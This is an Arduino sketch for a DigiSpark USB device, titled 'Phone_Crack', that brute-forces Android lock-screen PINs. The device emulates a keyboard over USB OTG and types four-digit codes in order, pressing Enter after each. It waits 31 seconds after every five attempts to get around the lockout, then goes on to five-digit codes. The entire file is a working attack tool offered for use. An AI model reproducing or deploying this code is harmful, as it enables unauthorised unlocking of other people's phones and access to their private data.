/*=============================================== Phone_Crack - 4 Digit PIN - Brute Force Attack on Android Smartphones that Supports OTG-Usb AMH Tech Sl sco ===============================================*/ #include "DigiKeyboard.h" int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38}; int a = 0; //1st digit int b = 0; //2nd digit int c = 0; //3rd digit int d = 0; //4th digit int e = 0; //5th digit int count = 0; bool key_stroke_e = false; void setup() { DigiKeyboard.update(); DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay delay(3000); } void loop() { //After 5 attempts, initialize 31000 ms wait to retry. if(count == 5){ digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away delay(31000); count = 0; digitalWrite(1,LOW); } /*Sends keystrokes based upon the values between 0-9 It will start bruting 5 digits if a exceeds 10*/ if (key_stroke_e == false) DigiKeyboard.sendKeyStroke(num[a]); DigiKeyboard.sendKeyStroke(num[b]); DigiKeyboard.sendKeyStroke(num[c]); DigiKeyboard.sendKeyStroke(num[d]); //check for whether it is true. If so, use 5 digits instead. if (key_stroke_e == true){ DigiKeyboard.sendKeyStroke(num[a]); DigiKeyboard.sendKeyStroke(num[b]); DigiKeyboard.sendKeyStroke(num[c]); DigiKeyboard.sendKeyStroke(num[d]); DigiKeyboard.sendKeyStroke(num[e]); } DigiKeyboard.sendKeyStroke(40); delay(1000); d++; count++; //If the 4th digit is past 9, it cycles back to 0 and increments the 3rd digit if(d == 10){ d = 0; c++; //If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit if(c == 10){ c = 0; b++; //If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit if(b == 10){ b = 0; a++; //if the 1st digit is past 9 it'll probably just throw out errors. if(a == 10){ //remain_true will equal true, loop through void(), and send the 5th keystroke key_stroke_e = true; e++; //Remember that brute forcing will still work, despite its strange order. //After e == 10, it will become 0 again. if(e == 10){ e = 0; } } } } } }
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